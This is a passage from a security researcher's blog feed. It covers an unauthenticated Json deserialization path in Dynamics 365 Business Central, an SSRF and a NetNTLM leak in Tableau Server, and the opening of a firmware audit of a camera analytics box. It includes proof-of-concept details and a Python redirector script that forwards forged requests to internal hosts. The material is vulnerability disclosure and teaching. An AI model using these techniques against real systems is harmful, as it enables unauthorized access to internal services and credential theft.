<p style="text-align: center;"><img src="/assets/images/dynamics/dynamicsgeallexceptions.png" alt="Create Directory PoC" /></p>

<p>Firing the request again, gets you some hits. First, in my case passing <code class="language-plaintext highlighter-rouge">System.Type Microsoft.Dynamics.Nav.Types.NavSerializationBinder::BindToType(System.String,System.String)</code>, if you still had this breakpoint active.
Then, Json serializer code: <code class="language-plaintext highlighter-rouge">System.Void Newtonsoft.Json.Serialization.JsonSerializerInternalReader::ResolveTypeName(Newtonsoft.Json.JsonReader,System.Type&amp;,Newtonsoft.Json.Serialization.JsonContract&amp;,Newtonsoft.Json.Serialization.JsonProperty,Newtonsoft.Json.Serialization.JsonContainerContract,Newtonsoft.Json.Serialization.JsonProperty,System.String)</code> with the following exception variable content.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$exception	{Newtonsoft.Json.JsonSerializationException: Type specified in Json 'Microsoft.BusinessCentral.Telemetry.OpenTelemetry.OpenTelemetryLogger`1[[Microsoft.BusinessCentral.Telemetry.OpenTelemetry.LogDefinitions.Log, Microsoft.BusinessCentral.Telemetry.OpenTelemetry, Version=8.1.23275.1, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], Microsoft.BusinessCentral.Telemetry.OpenTelemetry, Version=8.1.23275.1, Culture=neutral, PublicKeyToken=31bf3856ad364e35' is not compatible with 'Microsoft.Dynamics.Nav.Types.Media.NavUriMedia, Microsoft.Dynamics.Nav.Types, Version=23.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'. Path '$type', line 2, position 328.
   at Newtonsoft.Json.Serialization.JsonSerializerInternalReader.ResolveTypeName(JsonReader reader, Type&amp; objectType, JsonContract&amp; contract, JsonProperty member, JsonContainerContract containerContract, JsonProperty containerMember, String qualifiedTypeName)}	Newtonsoft.Json.JsonSerializationException
</code></pre></div></div>

<p>Right, the method’s parameter type is not compatible with the one delivered. So we need a method with a <em>generic type</em> (or an exact match). Our known list of controllers, we learnt earlier, still has some alternatives left. We land at the controller class <code class="language-plaintext highlighter-rouge">Microsoft.Dynamics.Nav.Service.AspNetCore.ClientMetadataController</code>. A lot of methods are implemented but this one is a gift.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">HttpPost</span><span class="p">]</span>
<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"analysis/views/{pageId:int}"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">async</span> <span class="n">Task</span> <span class="nf">SaveAnalysisViews</span><span class="p">(</span><span class="kt">int</span> <span class="n">pageId</span><span class="p">,</span> <span class="p">[</span><span class="n">FromBody</span><span class="p">]</span> <span class="kt">object</span> <span class="n">views</span><span class="p">)</span> <span class="c1">// [10]</span>
<span class="p">{</span>
	<span class="k">await</span> <span class="k">base</span><span class="p">.</span><span class="nf">InvokeOperation</span><span class="p">(</span><span class="k">delegate</span><span class="p">(</span><span class="n">ServiceOperationContext</span> <span class="n">context</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="kt">int</span> <span class="n">pageId2</span> <span class="p">=</span> <span class="n">pageId</span><span class="p">;</span>
		<span class="kt">object</span> <span class="n">views2</span> <span class="p">=</span> <span class="n">views</span><span class="p">;</span>
		<span class="n">AnalysisViewHelper</span><span class="p">.</span><span class="nf">SaveAnalysisViews</span><span class="p">(</span><span class="n">pageId2</span><span class="p">,</span> <span class="p">((</span><span class="n">views2</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span> <span class="p">?</span> <span class="n">views2</span><span class="p">.</span><span class="nf">ToString</span><span class="p">()</span> <span class="p">:</span> <span class="k">null</span><span class="p">)</span> <span class="p">??</span> <span class="kt">string</span><span class="p">.</span><span class="n">Empty</span><span class="p">);</span>
	<span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At [10] a method parameter <code class="language-plaintext highlighter-rouge">views</code> of type <code class="language-plaintext highlighter-rouge">System.Object</code> is used.</p>

<blockquote>
  <p>Supports all classes in the .NET class hierarchy and provides low-level services to derived classes. This is the ultimate base class of all .NET classes; it is the root of the type hierarchy.</p>
</blockquote>

<p>We provide an Integer in the URI path and deliver our Json payload in the body, as indicated by the <code class="language-plaintext highlighter-rouge">Microsoft.AspNetCore.Mvc.FromBodyAttribute</code>.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/filecreator.gif" alt="Create Directory PoC" /></p>

<p>There are other gadgets like this in other variants, happy searching!</p>

<h4 id="can-i-haz-auth-flaw-plz">Can I Haz Auth Flaw Plz?</h4>

<p>One thing is left: we need a valid session to call this controller, don’t we?</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="n">SessionId</span><span class="p">]</span> <span class="c1">// &lt;---</span>
<span class="p">[</span><span class="n">MetadataToken</span><span class="p">]</span> <span class="c1">// &lt;---</span>
<span class="p">[</span><span class="n">PermissionToken</span><span class="p">]</span> <span class="c1">// &lt;---</span>
<span class="p">[</span><span class="n">ApiController</span><span class="p">]</span>
<span class="p">[</span><span class="nf">ClientOperationBehavior</span><span class="p">(</span><span class="n">SessionUsage</span><span class="p">.</span><span class="n">UseCurrentSession</span><span class="p">,</span> <span class="n">RunInTransaction</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">RetryAfterTransientError</span> <span class="p">=</span> <span class="k">true</span><span class="p">,</span> <span class="n">TelemetryCategory</span> <span class="p">=</span> <span class="n">Category</span><span class="p">.</span><span class="n">Metadata</span><span class="p">)]</span>
<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"metadata"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">ClientMetadataController</span> <span class="p">:</span> <span class="n">ServiceOperationController</span><span class="p">,</span> <span class="n">IClientMetadataApi</span>
<span class="c1">// [...snip...]</span>
</code></pre></div></div>

<p>A lot of evil sounding attributes which will make an exploiter’s life a lot more difficult. But did you really look into all the details of my PoC GIF above? Any session headers visible?</p>

<p>If you look back to the <code class="language-plaintext highlighter-rouge">SessionIdAttribute</code> code above, you see that this class inherits from <code class="language-plaintext highlighter-rouge">Microsoft.AspNetCore.Mvc.Filters.ActionFilterAttribute</code>. What is this attribute about? Reading a bit of <a href="https://learn.microsoft.com/en-us/aspnet/mvc/overview/older-versions-1/controllers-and-routing/understanding-action-filters-cs#the-base-actionfilterattribute-class">Microsoft documentation</a> tells us a few things.</p>

<blockquote>
  <p>In order to make it easier for you to implement a custom action filter, the ASP.NET MVC framework includes a base ActionFilterAttribute class. This class implements both the IActionFilter and IResultFilter interfaces and inherits from the Filter class.<br />
The base ActionFilterAttribute class has the following methods that you can override:</p>
  <ul>
    <li>OnActionExecuting – This method is called before a controller action is executed.</li>
    <li>OnActionExecuted – This method is called after a controller action is executed.</li>
    <li>OnResultExecuting – This method is called before a controller action result is executed.</li>
    <li>OnResultExecuted – This method is called after a controller action result is executed.</li>
  </ul>
</blockquote>

<p>The <code class="language-plaintext highlighter-rouge">SessionIdAttribute</code> implements two overriding methods <code class="language-plaintext highlighter-rouge">System.Void Microsoft.Dynamics.Nav.Service.AspNetCore.Filters.SessionIdAttribute::OnActionExecuting(Microsoft.AspNetCore.Mvc.Filters.ActionExecutingContext)</code> (the one we looked at already!) and <code class="language-plaintext highlighter-rouge">System.Void Microsoft.Dynamics.Nav.Service.AspNetCore.Filters.SessionIdAttribute::OnActionExecuted(Microsoft.AspNetCore.Mvc.Filters.ActionExecutedContext)</code>. So I thought maybe, just maybe, <code class="language-plaintext highlighter-rouge">OnActionExecuting</code> might already be too late because deserializing the <code class="language-plaintext highlighter-rouge">views</code> method parameter object had to take place before. Microsoft’s Action Filter documentation
also explains that there are different types of filters often used.</p>

<blockquote>
  <ul>
    <li>Authorization filters – Implements the <code class="language-plaintext highlighter-rouge">IAuthorizationFilter</code> attribute.</li>
    <li>Action filters – Implements the <code class="language-plaintext highlighter-rouge">IActionFilter</code> attribute.</li>
    <li>Result filters – Implements the <code class="language-plaintext highlighter-rouge">IResultFilter</code> attribute.</li>
    <li>Exception filters – Implements the <code class="language-plaintext highlighter-rouge">IExceptionFilter</code> attribute.<br />
Filters are executed in the order listed above. For example, authorization filters are always executed before action filters and exception filters are always executed after every other type of filter.</li>
  </ul>
</blockquote>

<p>Would an <code class="language-plaintext highlighter-rouge">IAuthorizationFilter</code> have protected better here?</p>

<p>But let’s investigate our <code class="language-plaintext highlighter-rouge">IAuthorizationFilter</code> scenario with a few more breakpoints. We take one of our former Json requests (doesn’t really matter) from Wireshark, i.e. with all session headers etc., delete them and fire the request.</p>

<p style="text-align: center;"><img src="/assets/images/dynamics/filterattributeorder.gif" alt="Filter Attribute Order Issue" /></p>

<p>This is it! No authenication needed to reach the Json deserialization procedures.</p>

<h1 id="the-end">The End</h1>

<p style="text-align: center;"><img src="/assets/images/dynamics/thefin.png" alt="Create Directory PoC" /></p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[Microsoft Dynamics 365 Business Central (formerly Microsoft Dynamics NAV) – ERP and CRM software-as-a-service product meant for small and mid-sized businesses.]]></summary></entry><entry><title type="html">Tableau Server - There Ain’t No Vulns</title><link href="/vulns4free/2024/02/19/tableau-server-no-vulns.html" rel="alternate" type="text/html" title="Tableau Server - There Ain’t No Vulns" /><published>2024-02-19T01:00:00+00:00</published><updated>2024-02-19T01:00:00+00:00</updated><id>/vulns4free/2024/02/19/tableau-server-no-vulns</id><content type="html" xml:base="/vulns4free/2024/02/19/tableau-server-no-vulns.html"><![CDATA[<blockquote>
  <p>Tableau Server - Governed self-service analytics at scale</p>
</blockquote>

<p>Recently, I began a code audit on the software product <strong>Tableau Server</strong> which turned out to be prone to several vulnerabilities in its latest version. All attacks were conducted on a test trial environment against the Tableau Cloud during January 2024. The vulnerabilities found were only exploitable <em>within an authenticated context</em> and I rated them of <em>medium severity</em>. Due to the challenging system requirements, I was only able to show the first vulnerability (SSRF) against their live cloud environment based on Linux. But let the code speak for itself. I also stopped my code audit after my first submission, because you know: motivation issues. The Salesforce Security team spoke about lacking evidence, proof-of-concept exploitability and step-by-step descriptions. They only referred me to their submission guideslines, so I thought: let’s dump my original report on my blog instead.</p>

<h1 id="server-side-request-forgery-ssrf">Server-Side Request Forgery (SSRF)</h1>

<p>An API call implemented in <code class="language-plaintext highlighter-rouge">com.tableau.loom.rest.resources.VizportalApiResource</code> allows for a <strong>Server-Side Request Forgery (SSRF)</strong> attack. This endpoint could e.g. be reached at the web application deployed through <code class="language-plaintext highlighter-rouge">flow-processor.war</code>. According to its <code class="language-plaintext highlighter-rouge">MANIFEST.MF</code> descriptor file, the <code class="language-plaintext highlighter-rouge">Start-Class</code> is defined as <code class="language-plaintext highlighter-rouge">com.tableau.loom.rest.spring.LoomSpringApp</code>. The Spring annotation <code class="language-plaintext highlighter-rouge">@ComponentScan</code> contains the namespace of the beforementioned class.</p>

<p>The URL prefix <code class="language-plaintext highlighter-rouge">/flow-editor</code> can be found in <code class="language-plaintext highlighter-rouge">floweditor.20233.23.1017.0948.json</code>, connecting the same with the <code class="language-plaintext highlighter-rouge">flow-processor</code> microservice:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">"microservices"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"flow_editor"</span><span class="p">:</span><span class="w"> </span><span class="s2">"${root}/floweditor/flow-processor.war"</span><span class="w">
</span><span class="p">}</span><span class="err">,</span><span class="w">
</span><span class="nl">"microserviceOptions"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"flow_editor"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"urlprefix"</span><span class="p">:</span><span class="w"> </span><span class="s2">"flow-editor"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="err">,</span><span class="w">
</span></code></pre></div></div>

<p>This API might be reachable through other microservices as well. I didn’t check for additional <code class="language-plaintext highlighter-rouge">@ComponentScan</code> entries.
The vulnerable endpoint in <code class="language-plaintext highlighter-rouge">VizportalApiResource</code> is therefore callable by sending a GET request to <code class="language-plaintext highlighter-rouge">flow-editor/api/vizportalApi/checkCompatibility</code>. The method <code class="language-plaintext highlighter-rouge">com.tableau.loom.rest.resources.VizportalApiResource#checkCompatibility</code> takes a request parameter named <code class="language-plaintext highlighter-rouge">serverHost</code>.</p>

<p>Following the call hierarchy further is shown in the following listing.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>com.tableau.loom.vizportal.VizportalAdaptor#getVizportalCompatibilityInfo
-&gt; com.tableau.loom.vizportal.VizportalAdaptor#getVizportalCompatibilityInfo_aroundBody18
--&gt; com.tableau.loom.vizportal.VizportalAdaptor#getVizportalDocumentVersion
---&gt; com.tableau.loom.vizportal.VizportalAdaptor#getVizportalDocumentVersion_aroundBody16
----&gt; com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#getVizportalDocumentVersion(java.lang.String)
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">serverHost</code> variable is wrapped into a <code class="language-plaintext highlighter-rouge">java.net.URI</code> object and passed to <code class="language-plaintext highlighter-rouge">com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#getVizportalDocumentVersion(java.net.URI)</code>. The method <code class="language-plaintext highlighter-rouge">com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiUrlBuilder#getServerAuthInfoRequestUrl</code> adds the path <code class="language-plaintext highlighter-rouge">/auth</code> and the corresponding query parameter <code class="language-plaintext highlighter-rouge">format=xml</code> to the URI. Again, following the call chain further</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#getDocumentVersion
-&gt; com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#issueGetRequestForUrlAndReadXmlResponse
--&gt; com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#issueGetRequestForUrl
---&gt; com.tableau.maestro.vizportal.HttpRequestor#get
</code></pre></div></div>
<p>finally uses the <strong>Jersey Client library</strong> to then request the resource. As indicated by the parametrization of the method <code class="language-plaintext highlighter-rouge">com.tableau.maestro.vizportal.HttpRequestor#get</code>, a <code class="language-plaintext highlighter-rouge">Map&lt;String, Object&gt; properties</code> variable is passed as well. This <code class="language-plaintext highlighter-rouge">Map</code> is built via <code class="language-plaintext highlighter-rouge">com.tableau.maestro.vizportal.clientXmlApi.util.ClientXmlApiClient#constructBaseRequestProperties</code> and the property <code class="language-plaintext highlighter-rouge">jersey.config.client.followRedirects</code> set to <code class="language-plaintext highlighter-rouge">true</code> (which is enabled by default anyway!). This is a relevant setting from an exploitability point of view since the SSRF would otherwise be restricted to <code class="language-plaintext highlighter-rouge">baseUrl</code> injection. Every forged request would have included the <code class="language-plaintext highlighter-rouge">/auth?format=xml</code> path and query parameter which would have lowered the impact of this vulnerability class. Nevertheless, since redirects are automatically followed, another host controlled by the attacker could be leveraged to deliver arbitrary URLs for another Jersey client request (i.e. with full control of <code class="language-plaintext highlighter-rouge">baseUrl</code>, path and query parameters).</p>

<p>A proof-of-concept exploitation in the <strong>Tableau Cloud (trial test account)</strong> is shown next.</p>

<p style="text-align: center;"><img src="/assets/images/tableau/ssrf_request.png" alt="Request against Tableau server" /></p>

<p style="text-align: center;"><img src="/assets/images/tableau/python_redirector.png" alt="Python redirector fetching the request and providing a 302 response with Location header" /></p>

<p style="text-align: center;"><img src="/assets/images/tableau/jersey_client.png" alt="Incoming Jersey client call from Tableau server after following redirect with full host, path and query parameter control" /></p>

<p>The Python redirector script basically contains</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">SimpleHTTPServer</span>
<span class="kn">import</span> <span class="nn">SocketServer</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="mi">8443</span>

<span class="k">def</span> <span class="nf">do_GET</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">302</span><span class="p">)</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">send_header</span><span class="p">(</span><span class="s">'Location'</span><span class="p">,</span> <span class="s">'http://[TARGETED_HOST|LOCALHOST]/anypath/iwant?withquery=params'</span><span class="p">)</span>
    <span class="bp">self</span><span class="p">.</span><span class="n">end_headers</span><span class="p">()</span>

<span class="n">Handler</span> <span class="o">=</span> <span class="n">SimpleHTTPServer</span><span class="p">.</span><span class="n">SimpleHTTPRequestHandler</span>
<span class="n">Handler</span><span class="p">.</span><span class="n">do_GET</span> <span class="o">=</span> <span class="n">do_GET</span>
<span class="n">httpd</span> <span class="o">=</span> <span class="n">SocketServer</span><span class="p">.</span><span class="n">TCPServer</span><span class="p">((</span><span class="s">""</span><span class="p">,</span> <span class="n">PORT</span><span class="p">),</span> <span class="n">Handler</span><span class="p">)</span>
<span class="n">httpd</span><span class="p">.</span><span class="n">serve_forever</span><span class="p">()</span>
</code></pre></div></div>

<p>This vulnerability could be abused in various ways, e.g.:</p>

<ul>
  <li>Target other servers with the Tableau server as attacker source</li>
  <li>Target internal AWS APIs</li>
  <li>Target “trusted” API calls on Tableau server itself, supposedly originating from loopback or internal IP addresses belonging to the AWS VPC</li>
</ul>

<h1 id="netntlm-leaks">NetNTLM Leaks</h1>

<p>The method <code class="language-plaintext highlighter-rouge">com.tableau.loom.lang.api.utils.LoomFileUtils#getDirectory</code> is reused in several places across the Tableau server code base. This includes externally reachable API calls such as <code class="language-plaintext highlighter-rouge">com.tableau.loom.rest.desktop.resources.LoomDocValidationResource#validateLoomDoc</code>. Sending a POST request to the “Loom Doc Validation API” endpoint processes the following code.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Operation</span><span class="o">(</span><span class="n">summary</span><span class="o">=</span><span class="s">"validateLoomDoc"</span><span class="o">,</span> <span class="n">operationId</span><span class="o">=</span><span class="s">"validateLoomDoc"</span><span class="o">)</span>
<span class="nd">@RequestMapping</span><span class="o">(</span><span class="n">method</span><span class="o">={</span><span class="nc">RequestMethod</span><span class="o">.</span><span class="na">POST</span><span class="o">})</span>
<span class="nd">@Instrumented</span><span class="o">(</span><span class="n">value</span><span class="o">=</span><span class="s">"validateLoomDoc"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">LoomDocValidationResponse</span> <span class="nf">validateLoomDoc</span><span class="o">(</span><span class="nd">@Parameter</span><span class="o">(</span><span class="n">description</span><span class="o">=</span><span class="s">"docValidationRequest"</span><span class="o">)</span> <span class="nd">@RequestBody</span> <span class="nc">LoomDocValidationRequest</span> <span class="n">loomDocValidationRequest</span><span class="o">,</span> <span class="nc">HttpServletRequest</span> <span class="n">request</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">LoomException</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">loomDocValidationRequest</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">loomDocValidationRequest</span><span class="o">.</span><span class="na">getParameterOverrides</span><span class="o">()</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
    <span class="n">loomDocValidationRequest</span><span class="o">.</span><span class="na">getLoomDoc</span><span class="o">().</span><span class="na">getParameters</span><span class="o">().</span><span class="na">setCurrentValues</span><span class="o">(</span><span class="n">loomDocValidationRequest</span><span class="o">.</span><span class="na">getParameterOverrides</span><span class="o">());</span>
    <span class="o">}</span>
    <span class="nc">MaestroDocumentSanitizer</span><span class="o">.</span><span class="na">sanitize</span><span class="o">(</span><span class="n">loomDocValidationRequest</span><span class="o">.</span><span class="na">getLoomDoc</span><span class="o">());</span>
    <span class="o">}</span>
    <span class="nc">DisplayProps</span> <span class="n">displayProps</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DisplayProps</span><span class="o">();</span>
    <span class="nc">String</span> <span class="n">localFileName</span> <span class="o">=</span> <span class="n">loomDocValidationRequest</span><span class="o">.</span><span class="na">getFilePath</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="nc">StringUtils</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">localFileName</span><span class="o">))</span> <span class="o">{</span>
    <span class="n">localFileName</span> <span class="o">=</span> <span class="s">"."</span><span class="o">;</span>
    <span class="o">}</span>
    <span class="nc">File</span> <span class="n">loomDir</span> <span class="o">=</span> <span class="nc">LoomFileUtils</span><span class="o">.</span><span class="na">getDirectory</span><span class="o">(</span><span class="n">localFileName</span><span class="o">);</span> <span class="o">&lt;--</span>
	<span class="o">...</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">&lt;--</code> marked line shows the call to <code class="language-plaintext highlighter-rouge">com.tableau.loom.lang.api.utils.LoomFileUtils#getDirectory</code>. The variable <code class="language-plaintext highlighter-rouge">localFileName</code> is directly user-controlled as part of the request body containing a <code class="language-plaintext highlighter-rouge">com.tableau.loom.rest.api.loomDocValidation.LoomDocValidationRequest</code> object. <code class="language-plaintext highlighter-rouge">com.tableau.loom.rest.api.loomDocValidation.LoomDocValidationRequest#getFilePath</code> simply reads the property <code class="language-plaintext highlighter-rouge">filePath</code> without any further sanitization before <code class="language-plaintext highlighter-rouge">getDirectory</code> gets called.</p>

<p>Unfortunately, the Tableau Cloud trial instance was based on the Linux operating system. This attack vector is only feasible on Windows instances. Here, an attacker could provide a network UNC path in the <code class="language-plaintext highlighter-rouge">filePath</code> variable. If <code class="language-plaintext highlighter-rouge">getDirectory</code> gets called, access to the network share is tried for, starting with an authentication handshake based on the NTLM protocol. NetNTLM hashes could be abused in e.g. “relay attacks”, often used by threat actors lately. See e.g. <a href="https://trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022">this blog post on techniques involved</a>.</p>

<p>To be able to show exploitability, a proof-of-concept (PoC) Java program was written, basically copying the code of <code class="language-plaintext highlighter-rouge">com.tableau.loom.lang.api.utils.LoomFileUtils#getDirectory</code>.</p>

<p style="text-align: center;"><img src="/assets/images/tableau/java_poc.png" alt="PoC Java source code + Execution with a network UNC path" /></p>

<p style="text-align: center;"><img src="/assets/images/tableau/ntlm_auth.png" alt="Observing authentication request with NetNTLM hash on another Linux machine" /></p>

<h2 id="recommendations">Recommendations</h2>
<ul>
  <li>To lower the risk of SSRF exploitation primitives, consult resources such as the <a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html">OWASP Server-Side Request Forgery Prevention Cheat Sheet</a>. In this specific case, enforcing the context path and (query) parameters would already reduce the attack’s applicability significantly.</li>
  <li>Check if meaningful restrictions to user-controlled file path parameters are applicable. Then implement an allow list approach with e.g. regular expressions to check the rules accordingly. Make sure that always the absolute path is calculated first before further decision-making.</li>
</ul>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[Tableau Server - Governed self-service analytics at scale]]></summary></entry><entry><title type="html">Hacking Like Hollywood With Hard-Coded Secrets</title><link href="/vulns4free/2023/11/07/hacking-like-hollywood.html" rel="alternate" type="text/html" title="Hacking Like Hollywood With Hard-Coded Secrets" /><published>2023-11-07T23:00:00+00:00</published><updated>2023-11-07T23:00:00+00:00</updated><id>/vulns4free/2023/11/07/hacking-like-hollywood</id><content type="html" xml:base="/vulns4free/2023/11/07/hacking-like-hollywood.html"><![CDATA[<blockquote>
  <p><a href="https://www.ganzsecurity.eu/index.php/en/products/aibox">GANZ Security AI Box</a>: A New Generation AI-Based Intelligent Video Analytics Solution - The intelligent extension for almost every camera system. Thanks to the numerous algorithms for deep learning and analysis with which it is equipped, the AI-BOX is able to recognize the detected objects precisely and immediately and classify them: People, vehicles, motorcycles, bicycles…</p>
</blockquote>

<p>For this blog post, we have a target capable of providing Artificial Intelligence (AI) algorithms to detect different regions of interest in video streams. I found such a device at the public Internet some months ago during a normal working day but in the beginning didn’t know which product was behind. All I got was this login page.</p>

<p style="text-align: center;"><img src="/assets/images/hollywood/aibox.png" alt="aibox.png" /></p>

<p>First, I searched for similar instances via Censys, using the title “AI Box”. Interestingly, I found <strong>over 3000 devices</strong> but not all of them with the  “Ganz Security Solutions” logo. A few months after the disclosure of the vulnerabilities to Ganz Security, a second surveillance camera system vendor made contact and told me that the core of the affected firmware is indeed used in different products of various vendors. It was sheer coincidence that I chose the Ganz Security firmware at first, it seems.</p>

<h1 id="the-firmware">The Firmware</h1>

<p>Looking for the latest version of the firmware, I found the presumably correct binary blob at <a href="https://www.ganzsecurity.it/index.php/jdownload/summary/5-firmware/706-ai-box4-72110-fw-100367">https://www.ganzsecurity.it/index.php/jdownload/summary/5-firmware/706-ai-box4-72110-fw-100367</a> (the link is already down at the time of this publication).</p>

<p>I then used the “binwalk on steroids”, <a href="https://unblob.org/">unblob</a>, which even provides a Docker-ized version, making things a bit easier and more secure.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run <span class="se">\</span>
  <span class="nt">--rm</span> <span class="se">\</span>
  <span class="nt">--pull</span> always <span class="se">\</span>
  <span class="nt">-v</span> ./unblob/output:/data/output <span class="se">\</span>
  <span class="nt">-v</span> ./unblob/input:/data/input <span class="se">\</span>
ghcr.io/onekey-sec/unblob:latest /data/input/<span class="nv">$1</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>          Chunks distribution          
┏━━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━┓
┃ Chunk type     ┃   Size    ┃ Ratio  ┃
┡━━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━┩
│ EXTFS          │  1.99 GB  │ 47.57% │
│ SPARSE         │  1.10 GB  │ 26.16% │
│ SQUASHFS_V4_LE │ 780.80 MB │ 18.21% │
│ ELF64          │ 322.03 MB │ 7.51%  │
│ UNKNOWN        │ 10.51 MB  │ 0.25%  │
│ ZIP            │  6.21 MB  │ 0.14%  │
│ GZIP           │  5.88 MB  │ 0.14%  │
│ TAR            │ 870.00 KB │ 0.02%  │
│ AR             │ 299.94 KB │ 0.01%  │
└────────────────┴───────────┴────────┘
</code></pre></div></div>

<p>This looked promising, i.e. probably no encrypted blobs or similar stumbling blocks to get our hands dirty as fast as possible. Checking the extracted file system content at <code class="language-plaintext highlighter-rouge">72110.1.100367.100.bin_extract/72110.1.100367.100.nbn_extract/10691402-1186932114.sparse_extract/raw.image_extract</code> revealed a familiar root directory tree.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>AIBOX  dev   init   lib64       mkimg.rootfs   nfsroot  root   sharefs  usr
bin    etc   komod  linuxrc     mknod_console  opt      sbin   sys      var
boot   home  lib    lost+found  mnt            proc     share  tmp
</code></pre></div></div>

<h1 id="give-urls-please">Give URLs Please</h1>

<p>Yes, we’re all interested to get straight to the meat by finding the underlying technology, enumerating the routes, audit the handler implementations and pwn all the things. But let’s do it step by step because blog posts often read a bit like magic.</p>

<p>What were we looking for first? Tech stack of course and I started with the first HTTP response.</p>

<pre><code class="language-txt">HTTP/1.1 200 OK
Server: nginx &lt;---------
Date: ...
Content-Type: text/html; charset=utf-8
Content-Length: 431
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no"&gt;
    &lt;title&gt;AI Box&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div id="app"&gt;&lt;/div&gt;
    &lt;script src="/static/media-stream-library.min.js"&gt;&lt;/script&gt;
    &lt;script src="/static/three.min.js"&gt;&lt;/script&gt;
    &lt;script src="/static/build.js?28dc5fdbfb1918e23af2e3aed6182ff1"&gt;&lt;/script&gt;
&lt;/body&gt;

&lt;/html&gt;
</code></pre>

<p>Obviously, I first searched for the <em>nginx</em> configuration.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>nginx.conf

user  root<span class="p">;</span>
worker_processes  1<span class="p">;</span>

<span class="c">#error_log  logs/error.log;</span>
<span class="c">#error_log  logs/error.log  notice;</span>
<span class="c">#error_log  logs/error.log  info;</span>
error_log /dev/null<span class="p">;</span>

<span class="c">#pid        logs/nginx.pid;</span>


events <span class="o">{</span>
    worker_connections  1024<span class="p">;</span>
<span class="o">}</span>


http <span class="o">{</span>
    include       mime.types<span class="p">;</span>
    default_type  application/octet-stream<span class="p">;</span>

    <span class="c">#log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '</span>
    <span class="c">#                  '$status $body_bytes_sent "$http_referer" '</span>
    <span class="c">#                  '"$http_user_agent" "$http_x_forwarded_for"';</span>

    <span class="c">#access_log  logs/access.log  main;</span>
    access_log off<span class="p">;</span>

    sendfile        on<span class="p">;</span>
    <span class="c">#tcp_nopush     on;</span>

    <span class="c">#keepalive_timeout  0;</span>
    keepalive_timeout  65<span class="p">;</span>

    <span class="c">#gzip  on;</span>

    include /AIBOX/web/conf/nginx.conf<span class="p">;</span> &lt;<span class="nt">-----------</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Nothing to interesting but another <code class="language-plaintext highlighter-rouge">include</code> reference to <code class="language-plaintext highlighter-rouge">/AIBOX/web/conf/nginx.conf</code>.</p>

